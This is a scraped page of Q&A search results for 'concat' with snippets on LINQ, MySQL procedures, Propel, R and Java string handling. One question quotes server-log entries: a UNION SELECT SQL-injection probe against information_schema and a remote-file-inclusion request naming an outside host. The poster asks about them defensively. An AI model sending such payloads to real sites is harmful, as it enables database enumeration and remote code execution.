Search Results

Search found 443 results on 18 pages for 'concat'.

Page 11/18 | < Previous Page | 7 8 9 10 11 12 13 14 15 16 17 18  | Next Page >

  • Please help, now I have a matrix, I want use Combination algorithm to generate a array for length 6

    - by user313429
    The first thanks a lot for your help , the following is my matrix, I want to implement combination algorithm between multiple arrays in LINQ for this matrix. int[,] cj = { { 10, 23, 16, 20 }, { 22, 13, 1, 33 }, { 7, 19, 31, 12 }, { 30, 14, 21, 4 }, { 2, 29, 32, 6 }, { 18, 26, 17, 8 }, { 25, 11, 5, 28 }, { 24, 3, 15, 27 } }; other: public static IEnumerable<IEnumerable<T>> Combinations<T>(this IEnumerable<T> elements, int k) { return k == 0 ? new[] { new T[0] } : elements.SelectMany((e, i) => elements.Skip(i + 1).**Combinations**(k - 1).Select(c => (new[] { e }).Concat(c))); } The above method has a error in my project, System.Collections.Generic.IEnumerable' does not contain a definition for 'Combinations' and no extension method 'Combinations' accepting a first argument of type 'System.Collections.Generic.IEnumerable' could be found (are you missing a using directive or an assembly reference? I use .Net Framework3.5, what is the reason it?

    Read the article

  • How to get the answers version and use it in IF loop

    - by sai
    delimiter // DROP PROCEDURE `getData`// CREATE DEFINER=`root`@`localhost` PROCEDURE `getData`(IN templateName VARCHAR(45),IN templateVersion VARCHAR(45),IN userId VARCHAR(45)) BEGIN set @version = CONCAT("SELECT `saveOEMsData_answersVersion` FROM `saveOEMsData` WHERE `saveOEMsData_templateName` = '",templateName,"' AND `saveOEMsData_templateVersion` = ",templateVersion," AND `saveOEMsData_userId`= ",userId); PREPARE s1 from @version; EXECUTE S1; END // delimiter ; I am retreiving saveOEMsData_answersVersion, but I have to use it in an IF loop, as in if the version == 1, then I would use a query, else I would use something else. But I am not able to use the version. Could someone help with this?? I am only able to print but not able to use the version.

    Read the article

  • Adding custom columns to Propel model?

    - by Hard-Boiled Wonderland
    At the moment I am using the below query: $claims = ClaimQuery::create('c') ->leftJoinUser() ->withColumn('CONCAT(User.Firstname, " ", User.Lastname)', 'name') ->withColumn('User.Email', 'email') ->filterByArray($conditions) ->paginate($page = $page, $maxPerPage = $top); However I then want to add columns manually, so I thought this would simply work: foreach($claims as &$claim){ $claim->actions = array('edit' => array( 'url' => $this->get('router')->generate('hera_claims_edit'), 'text' => 'Edit' ) ); } return array('claims' => $claims, 'count' => count($claims)); However when the data is returned Propel or Symfony2 seems to be stripping the custom data when it gets converted to JSON along with all of the superflous model data. What is the correct way of manually adding data this way?

    Read the article

  • What is the best data structure and algorithm for comparing a list of strings?

    - by Chiraag E Sehar
    I want to find the longest possible sequence of words that match the following rules: Each word can be used at most once All words are Strings Two strings sa and sb can be concatenated if the LAST two characters of sa matches the first two characters of sb. In the case of concatenation, it is performed by overlapping those characters. For example: sa = "torino" sb = "novara" sa concat sb = "torinovara" For example, I have the following input file, "input.txt": novara torino vercelli ravenna napoli liverno messania noviligure roma And, the output of the above file according to the above rules should be: torino novara ravenna napoli livorno noviligure since the longest possible concatenation is: torinovaravennapolivornovilligure Can anyone please help me out with this? What would be the best data structure for this?

    Read the article

  • Safe to KILL a mysql process REPLACEing records in a large myisam table?

    - by threecheeseopera
    I have a REPLACE query running for a few days now on a few MyISAM tables, the largest having 20+million records. I need it to stop. It is, basically: REPLACE INTO really_large_table (a,b,c,d) SELECT e,f,g,h FROM big_table INNER JOIN huge_table ON big_table.x LIKE CONCAT('%', huge_table.y, '%'); I need to KILL it, and I am worried that I may corrupt really_large_table. Because the sub-query itself takes a significant amount of time, the REPLACEing probably occurs (relatively) infrequently; if this is true, does this make it less likely for the data to become corrupted? For the curious, here is the SO question asked about the query I am trying to kill.

    Read the article

  • ActionScript: Determine wether superclass implements a particular interface?

    - by David Wolever
    Is there any non-hacky way to determine wether a class' superclass implements a particular interface? For example, assume I've got: class A extends EventDispatcher implements StuffHolder { private var myStuff = someKindOfStuff; public function getStuff():Array { if (super is StuffHolder) // <<< this doesn't work return super['getStuff']().concat([myStuf]); return [myStuff]; } class B extends A { private var myStuff = anotherKindOfStuff; } How could I perform that super is StuffHolder test in a way that, well, works? In this case, it always returns true.

    Read the article

  • Advanced search functionality

    - by Chris
    I have a website with a jQuery based autocomplete search functionality which works great. Currently though I have just one search box for all categories, what I want is for someone to be able to type in, say for example, dorian gray dvd (in any order) which will search for dorian gray within the dvd category. What this will require then is a bit of magic on the server side to figure out if any of the words are category keywords, and then limit the search by that. What is the best (and quickest) way to do this in PHP / MySQL? I currently have a few trains of thought Search the category table for matches and perhaps order the results by that. Or split up the search terms into an array and separately search the categories for that for a match. Another thought I just had is to concat the category title to the dvd title in the database and match against that, or something similar... but this sounds computationally expensive? Any advice?

    Read the article

  • Killing the mysqld process

    - by Josh K
    I have a table with ~800k rows. I ran an update users set hash = SHA1(CONCAT({about eight fields})) where 1; Now I have a hung Sequel Pro process and I'm not sure about the mysqld process. This is two questions: What harm can possibly come from killing these programs? I'm working on a separate database, so no damage should come to other databases on the system, right? Assume you had to update a table like this. What would be a quicker / more reliable method of updating without writing a separate script. I just checked with phpMyAdmin and it appears as though the query is complete. I still have Sequel Pro using 100% of both my cores though...

    Read the article

  • Faster way to update 250k rows with SQL

    - by pablo
    I need to update about 250k rows on a table and each field to update will have a different value depending on the row itself (not calculated based on the row id or the key but externally). I tried with a parametrized query but it turns out to be slow (I still can try with a table-value parameter, SqlDbType.Structured, in SQL Server 2008, but I'd like to have a general way to do it on several databases including MySql, Oracle and Firebird). Making a huge concat of individual updates is also slow. What about creating a temp table and running an update joining my table and the tmp one? Will it work faster?

    Read the article

  • Finding matches between multiple JavaScript Arrays

    - by Chris Barr
    I have multiple arrays with string values and I want to compare them and only keep the matching results that are identical between ALL of them. Given this example code: var arr1 = ['apple', 'orange', 'banana', 'pear', 'fish', 'pancake', 'taco', 'pizza']; var arr2 = ['taco', 'fish', 'apple', 'pizza']; var arr3 = ['banana', 'pizza', 'fish', 'apple']; I would like to to produce the following array that contains matches from all given arrays: ['apple', 'fish', 'pizza'] I know I can combine all the arrays with var newArr = arr1.concat(arr2, arr3); but that just give me an array with everything, plus the duplicates. Can this be done easily without needing the overhead of libraries such as underscore.js? (Great, and now i'm hungry too!) EDIT I suppose I should mention that there could be an unknown amount of arrays, I was just using 3 as an example.

    Read the article

  • referesh datagridview after database update in vb.net

    - by Gbolahan
    Dim myQuery = "UPDATE table1 SET data= CONCAT (data,'" & vbCrLf & "[ " & Date.Now() & " ]" & " " & "[" & getCN() & "]" & " " & txtTelenotes.Text & "[ item1 ]" & "') WHERE id='" & txtID.Text & "'" myCommand.Connection = conn myCommand.CommandText = myQuery myAdapter.SelectCommand = myCommand Dim myData As MySqlDataReader myData = myCommand.ExecuteReader() txtTelenotes.Text = "" dgvREcord.Refresh() tried refreshing the datagridview using dgvREcord.Refresh() but it does not load the changes form the database. Any help Pls.. Thanks.

    Read the article

  • Splitting a string into new rows in R

    - by user3703195
    I have a data set like below: Country Region Molecule Item Code IND NA PB102 FR206985511 THAI AP PB103 BA-107603 / F000113361 / 107603 LUXE NA PB105 1012701 / SGP-1012701 / F041701000 IND AP PB106 AU206985211 / CA-F206985211 THAI HP PB107 F034702000 / 1010701 / SGP-1010701 BANG NA PB108 F000007970/25781/20009021 I want to split based the string values in ITEMCODE column on / and create a new row for each entry. For instance, the desired output will be: Country Region Molecule Item Code New row IND NA PB102 FR206985511 FR206985511 THAI AP PB103 BA-107603 / F000113361 / 107603 F000113361 107603 BA-107603 LUXE NA PB105 1012701 / SP-1012701 / F041701000 1012701 SP-1012701 F041701000 IND AP PB106 AU206985211 / CA-F206985211 AU206985211 CA-F206985211 THAI HP PB107 F034702000 / 1010701 / SP-1010701 F034702000 1010701 SP-1010701 BANG NA PB108 F000007970/25781/20009021 F000007970 25781 20009021 I tried the below code library(splitstackshape) df2=concat.split.multiple(df1,"Plant.Item.Code","/", direction="long") but got the Error "Error: memory exhausted (limit reached?)" When i tried strsplit() i got the below error message. Error in strsplit(df1$Plant.Item.Code, "/") : non-character argument Any help from you will be appreciated.

    Read the article

  • Can I use a MySQL PREPARE statement in a function to create a query with a variable table name

    - by aHunter
    I want to create a function that has a select query inside that can be used against multiple database tables but I can not use a variable as the table name. Can I get around this using a PREPARE statement in the function? An Example: FUNCTION `TESTFUNC`(dbTable VARCHAR(25)) RETURNS bigint(20) BEGIN DECLARE datereg DATETIME; DECLARE stmt VARCHAR(255); SET stmt := concat( 'SELECT dateT FROM', dbTable, 'ORDER BY dateT DESC LIMIT 1'); PREPARE stmt FROM @stmt; EXECUTE stmt; RETURN dateT; END $$ Thanks in advance for any input.

    Read the article

  • MySQL - how to retrieve columns in same row as the values returned by min/mx

    - by Gala101
    I couldn't frame the Question's title properly.. Suppose a table of weekly movie Earnings as below, MovieName MovieGross WeekofYear Year So how do I get the names of top grossers for each week of this year If I do select MovieName , Max(MovieGross) , WeekofYear from earnings where year = 2010 group by WeekofYear; Then obviously query wont run, select Max(MovieName) , Max(MovieGross) , WeekofYear from earnings where year = 2010 group by WeekofYear; would just give movies starting with lowest alphabet Is using group-concat and then substring-index the only option here? select substring_index(group_concat(MovieName order by MovieGross desc),',',1), Max(MovieGross) , WeekofYear from earnings where year = 2010 group by WeekofYear ; Seems clumsy.. Is there any better way of acieveing this?

    Read the article

  • LinkButton child controls render

    - by Alex
    Hi. I want to have a LinkButton that adds 'span' tag around the text. protected override void Render(HtmlTextWriter writer) { Text = String.Concat("<span>", Text, "</span>"); base.Render(writer); } It's works perfectly, but only if I add text like this: <cc:TestLinkButton ID="TestLinkButton" runat="server" Text="SomeText"> </cc:TestLinkButton> If I want to add some image I will write something like this: <cc:TestLinkButton ID="LinkButton1" runat="server"> <asp:Image ID="Image1" runat="server" ImageUrl="~/Images/icon_holiday.png" BorderWidth="0" /> SomeText </cc:TestLinkButton> In this case Text property will be empty, because actualy "SomeText" is child control property. So question is is how to add tag around child controls.

    Read the article

  • MS Access "#Name?" in unbound field on SOME machines

    - by alkorya
    I have a datasheet form bound to table. I added 2 unbound fields and set their Control Source properties to user defined VBA functions: 1. ConcatRelated (http://allenbrowne.com/func-concat.html) 2. Custom function that returns a string: Public Function GetLowestSatatus(LookupField As String, JSAID As Integer) As String On Error Resume Next GetLowestSatatus = DLookup(LookupField, "JsaStatuses", "ID=" & DMin("StatusID", "Tasks", "JSAID =" & JSAID)) End Function It works fine on my and some other machines but there are machines I got "#Name?" in these 2 unbound fields. All machines configured identically. Any ideas? Thank you!

    Read the article

  • Insert multiple rows into temp table with one command in SQL2005

    - by Adam Haile
    I've got some data in the following format: -1,-1,-1,-1,701,-1,-1,-1,-1,-1,304,390,403,435,438,439,442,455 I need to insert it into a temp table like this: CREATE TABLE #TEMP ( Node int ) So that I can use it in a comparison with data in another table. The data above represents separate rows of the "Node" column. Is there an easy way to insert this data, all in one command? Also, the data will actually being coming in as seen, as a string... so I need to be able to just concat it into the SQL query string. I can obviously modify it first if needed.

    Read the article

  • Always require a plugin to be loaded

    - by axon
    I am writing an application with RequireJS and Knockout JS. The application includes an extension to knockout that adds ko.protectedObservable to the main knockout object. I would like this to always be available on the require'd knockout object, and not only when I specify it in the dependencies. I could concat the files together, but that seems that it should be unnecessary. Additionally, I can put knockout-protectedObservable as a dependency for knockout in the requirejs shim configuration, but that just leads to a circular dependency and it all fails to load. Edit: I've solved me issue, but seems hacky, is there a better way? -- Main.html <script type="text/javascript" src="require.js"></script> <script type="text/javascript"> require(['knockout'], function(ko) { require(['knockout-protectedObservable']); }); </script> -- knockout-protectedObservable.js define(['knockout'], function(ko) { ko.protectedObservable = { ... }; });

    Read the article

  • Linked lists in Java - Help with writing methods

    - by user368241
    Representation of a string in linked lists In every intersection in the list there will be 3 fields : The letter itself. The number of times it appears consecutively. A pointer to the next intersection in the list. The following class CharNode represents a intersection in the list : public class CharNode { private char _data; private int _value; private charNode _next; public CharNode (char c, int val, charNode n) { _data = c; _value = val; _next = n; } public charNode getNext() { return _next; } public void setNext (charNode node) { _next = node; } public int getValue() { return _value; } public void setValue (int v) { value = v; } public char getData() { return _data; } public void setData (char c) { _data = c; } } The class StringList represents the whole list : public class StringList { private charNode _head; public StringList() { _head = null; } public StringList (CharNode node) { _head = node; } } Add methods to the class StringList according to the details : (I will add methods gradually according to my specific questions) (Pay attention, these are methods from the class String and we want to fulfill them by the representation of a string by a list as explained above) Pay attention to all the possible error cases. Write what is the time complexity and space complexity of every method that you wrote. Make sure the methods you wrote are effective. It is NOT allowed to use ready classes of Java. It is NOT allowed to move to string and use string operations. 1) public int indexOf (int ch) - returns the index in the string it is operated on of the first appeareance of the char "ch". If the char "ch" doesn't appear in the string, returns -1. If the value of fromIndex isn't in the range, returns -1. Here is my try : public int indexOf (int ch) { int count = 0; charNode pos = _head; if (pos == null ) { return -1; } for (pos = _head; pos!=null && pos.getData()!=ch; pos = pos.getNext()) { count = count + pos.getValue(); } if (pos==null) return -1; return count; } Time complexity = O(N) Space complexity = O(1) EDIT : I have a problem. I tested it in BlueJ and if the char ch doesn't appear it returns -1 but if it does, it always returns 0 and I don't understand why... I am confused. How can the compiler know that the value is the number of times the letter appears consecutively? Can I assume this because its given on the question or what? If it's true and I can assume this, then my code should be correct right? Ok I just spoke with my instructor and she said it isn't required to write it in the exercise but in order for me to test that it indeed works, I need to open a new class and write a code for making a list so that the the value of every node is the number of times the letter appears consecutively. Can someone please assist me? So I will copy+paste to BlueJ and this way I will be able to test all the methods. Meanwhile I am moving on to the next methods. 2) public int indexOf (int ch, int fromIndex) - returns the index in the string it is operated on of the first appeareance of the char "ch", as the search begins in the index "fromIndex". If the char "ch" doesn't appear in the string, returns -1. If the value of fromIndex doesn't appear in the range, returns -1. Here is my try: public int indexOf (int ch, int fromIndex) { int count = 0, len=0, i; charNode pos = _head; CharNode cur = _head; for (pos = _head; pos!=null; pos = pos.getNext()) { len = len+1; } if (fromIndex<0 || fromIndex>=len) return -1; for (i=0; i<fromIndex; i++) { cur = cur.getNext(); } if (cur == null ) { return -1; } for (cur = _head; cur!=null && cur.getData()!=ch; cur = cur.getNext()) { count = count + cur.getValue(); } if (cur==null) return -1; return count; } Time complexity = O(N) ? Space complexity = O(1) 3) public StringList concat (String str) - returns a string that consists of the string that it is operated on and in its end the string "str" is concatenated. Here is my try : public StringList concat (String str) { String str = ""; charNode pos = _head; if (str == null) return -1; for (pos = _head; pos!=null; pos = pos.getNext()) { str = str + pos.getData(); } str = str + "str"; return str; } Time complexity = O(N) Space complexity = O(1)

    Read the article

  • Is this an injection attempt or a normal request?

    - by CheeseConQueso
    In cPanel's Analog Stats statistics module, I've noticed countless requests to connect to the following example: /?x=19&y=15 The numbers are random, but its always setting x and y variables. Another category of mysterious requests: /?id=http://nic.bupt.edu.cn/media/j1.txt?? There are other attempts at injections in the request log that have straight sql written into them as well. Example: /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13-- It looks like they are all reaching a 404, but I'm still wondering about the intent behind these. I know this is vague, but maybe someone knows that this is normal while using cPanel & phpMyAdmin services. Also, there was a search box installed on the site which could be the reason. Any suggestions as to what all these are?

    Read the article

  • Concatenating a Text in front of Individual Database Records with Tcl

    - by DFM
    Hello: In short, currently I am using the following code to pull records from multiple tables in a Sqlite Db and insert them in a single combobox ($SearchBar): set SrchVals1 [db eval {SELECT DISTINCT Stitle From Subcontract Order By Stitle ASC}] set SrchVals2 [db eval {... set SrchVals3 ... set SrchValsALL [concat $SrchVals1 $SrchVals2 $SrchVals3] $SearchBar configure -value $SrchValsAll For the variable "SrchVals1", I am trying to figure out a way to concatenate the text "Sub: " to each individual record in SrchVals1. For example, if SrchVals1 shows the following records in the combobox: First Title Second Title Third Title I would like to concatenate so that the records in the combobox look like this: Sub: First Title Sub: Second Title Sub: Third Title I understand that I might have to use a foreach statement; however, I am having no luck writing one that adds "Sub: " in front of each record, as opposed to one. This seems like something that should be pretty easy, but I cannot seem to figure it out. Does anyone know how I can achieve these results? Thank you, DFM

    Read the article

  • Why does document.QuerySelectorAll return a StaticNodeList rather than a real Array?

    - by Kev
    It bugs me that I can't just do document.QuerySelectorAll(...).map(...) even in Firefox 3.6, and I still can't find an answer, so I thought I'd cross-post on SO the question from this blog: http://blowery.org/2008/08/29/yay-for-queryselectorall-boo-for-staticnodelist/ Does anyone know of a technical reason why you don't get an Array? Or why an SNL doesn't inherit from an Array in such a way that you could use map, concat, etc? (BTW if it's just one function you want, you can do something like NodeList.prototype.map = Array.prototype.map;...but again, why is this functionality (intentionally?) blocked in the first place?)

    Read the article

  • Object for storing strings geted from prints

    - by evg
    class MyWriter: def __init__(self, stdout): self.stdout = stdout self.dumps = [] def write(self, text): self.stdout.write(smart_unicode(text).encode('cp1251')) self.dumps.append(text) def close(self): self.stdout.close() writer = MyWriter(sys.stdout) save = sys.stdout sys.stdout = writer I use self.dumps list to store geted data from prints. Is it exists more convinient object for storing string lines in memory? ideally i want dump it to one big string. I can get it like this "\n".join(self.dumps) from code above. Mb it's better to just concat strings - self.dumps += text ?

    Read the article

  • SQL Query taking too long

    - by user345426
    I am trying to optimize the SQL query listed below. It is basically a search engine code that retrieves products based on the products name. It also checks products model number and whether or not it is enabled. This executes in about 1.6 seconds when I run it directly through the phpMyAdmin tool but takes about 3 seconds in total to load in conjunction with the PHP file it is placed in. I need to add a category search functionality and now that is crashing the MySQL server, HELP! SELECT DISTINCT p.products_id , p.products_image , p.products_price , s.specials_new_products_price, p.products_weight , p.products_unit_quantity , pd.products_name , pd.products_img_alt , pd.products_affiliate_url FROM products AS p LEFT JOIN vendors v ON v.vendors_id = p.vendors_id LEFT JOIN specials AS s ON s.products_id = p.products_id AND s.status = 1, categories AS c , products_description AS pd , products_to_categories AS p2c WHERE ( ( pd.products_name LIKE '%cleaning%' AND pd.products_name LIKE '%supplies%' ) OR ( p.products_model LIKE '%cleaning%' AND p.products_model LIKE '%supplies%' ) OR p.products_id = 'cleaning supplies' OR v.vendors_prefix = 'cleaning supplies' OR CONCAT( CAST(v.vendors_prefix AS CHAR), '-', CAST(p.products_id AS CHAR) ) = 'cleaning supplies' ) AND p.products_status = '1' AND c.categories_status = '1' AND p.products_id = pd.products_id AND p2c.products_id = pd.products_id AND p2c.categories_id = c.categories_id ORDER BY pd.products_name

    Read the article

  • Pivot to obtain EAV data

    - by Snowy
    I have an EAV table (simple key/value in every row) and I need to take the 'value' from two of the rows and concat them into a single row with a single column. I can't seem to get through the part where I just have the pivot straight. Can anyone help me figure this out? Declare @eavHelp Table ( [Key] VARCHAR (8) NOT NULL, [Value] VARCHAR (8) NULL ) Insert Into @eavHelp Values ( 'key1' , 'aaa' ) Insert Into @eavHelp Values ( 'key2' , 'bbb' ) Select * From @eavHelp Pivot ( Min( [Value] ) For [Value] in ( hmm1 , hmm2 ) ) as Piv Where [Key] = 'key1' or [Key] = 'key2' That makes: Key hmm1 hmm2 -------- -------- -------- key1 NULL NULL key2 NULL NULL But what I want to make is: hmmmX ----- aaa;bbb

    Read the article

< Previous Page | 7 8 9 10 11 12 13 14 15 16 17 18  | Next Page >